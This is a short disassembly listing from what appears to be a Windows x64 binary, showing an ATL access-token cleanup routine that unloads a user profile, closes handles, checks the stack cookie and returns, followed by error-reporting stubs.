add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], r12d
sub r12d, 1
jg 0x140253d7f
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov r8, qword [rax + 8]
call r8
nop
lea rax, vtable.ATL::CAccessToken.0
mov qword [rsp + 0xb80], rax
mov rdx, qword [rsp + 0xb90]
mov rcx, qword [rsp + 0xb88]
test rdx, rdx
je 0x140253dbe
test rcx, rcx
je 0x140253db6
call qword [sym.imp.USERENV.dll_UnloadUserProfile]
mov rcx, qword [rsp + 0xb88]
mov qword [rsp + 0xb90], rdi
test rcx, rcx
je 0x140253dd1
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0xb88], rdi
mov edx, 8
mov rcx, qword [rsp + 0xb98]
call fcn.14027cdf0
nop
mov rcx, qword [rsp + 0xba8]
xor rcx, qword [rsp + 0xba0]
mov rax, qword [rsp + 0xbb0]
mov qword [rax], rcx
mov rcx, qword [rsp + 0xabb0]
xor rcx, rsp
call fcn.14027cdd0
lea r11, [rsp + 0xac30]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
mov rsp, r11
pop r15
pop r14
pop r13
ret
test r10d, r10d
mov rdx, qword [rsp + 0x50]
jne 0x14024dd70
mov rax, qword [rax]
jmp 0x14024dd30
call fcn.1402029d0
nop
mov ecx, 0x80004005
call fcn.140203560
nop
mov ecx, 0x80004005
call fcn.140203560
nop
mov ecx, 0x80004005
call fcn.140203560
nop
mov ecx, 0x80004005
call fcn.140203560
int3